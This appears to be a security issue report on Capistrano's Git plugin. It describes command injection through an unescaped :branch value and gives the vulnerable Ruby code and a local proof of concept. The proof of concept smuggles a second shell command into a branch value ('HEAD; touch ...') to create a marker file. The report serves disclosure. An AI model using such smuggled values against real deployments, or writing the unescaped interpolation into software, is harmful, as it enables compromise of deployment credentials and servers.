#2187·capistrano

[Security] Possible Command injection via unquoted `:branch` in Capistrano git revision lookup

Author: quart27219Created Jun 5, 2026Updated Jun 12, 2026

Summary

I found a command-injection pattern in Capistrano which is similar to CVE-2026-0933. The original CVE affects Cloudflare Wrangler, where wrangler pages deploy --commit-hash was interpolated into an execSync() shell command.

Capistrano's Git SCM plugin has similar branch/ref handling. The :branch value is documented as configurable and is commonly derived from deployment configuration or CI context. That value is later interpolated into shell command fragments used for git revision lookup and revision-time lookup.

If a deployment flow accepts an untrusted branch/ref value, shell metacharacters in that value can execute commands in the deployment environment.

RCA

Capistrano::SCM::Git builds several git operations using fetch(:branch). The revision lookup methods pass a single string fragment to SSHKit:

Source: lib/capistrano/scm/git.rb

ruby
def fetch_revision
  backend.capture(:git, "rev-list --max-count=1 #{fetch(:branch)}")
end

def fetch_revision_time
  backend.capture(:git, "--no-pager log -1 --pretty=format:\"%ct\" #{fetch(:branch)}")
end

Capistrano's own tests expect the interpolated string form:

Source: spec/lib/capistrano/scm/git_spec.rb

ruby
backend.expects(:capture).with(:git, "rev-list --max-count=1 branch")

Because the branch value is not shell-escaped before interpolation, shell metacharacters are interpreted when SSHKit executes the command.

Impact

A CI/CD-controlled or otherwise untrusted Capistrano branch value can execute arbitrary shell commands during deployment. This may compromise deployment credentials, modify deployed artifacts, or execute commands on infrastructure reachable by the deployment user.

PoC

The following reproduction uses SSHKit's local backend and preserves the vulnerable Capistrano command shape:

ruby
require "sshkit"

marker = File.join(Dir.pwd, "capistrano_branch_injected")
File.delete(marker) if File.exist?(marker)

branch = "HEAD; touch capistrano_branch_injected #"

backend = SSHKit::Backend::Local.new(nil) do
  begin
    capture(:git, "rev-list --max-count=1 #{branch}")
  rescue => e
    warn e.class.to_s
    warn e.message
  end
end

backend.run

puts File.exist?(marker) ? "INJECTION_CONFIRMED" : "NO_INJECTION"

A representative deployment configuration pattern that can reach the same sink is:

ruby
ask :branch, proc { ENV.fetch("DEPLOY_BRANCH", "master") }

If DEPLOY_BRANCH is set to:

HEAD; touch capistrano_branch_injected #

then fetch_revision builds:

git rev-list --max-count=1 HEAD; touch capistrano_branch_injected #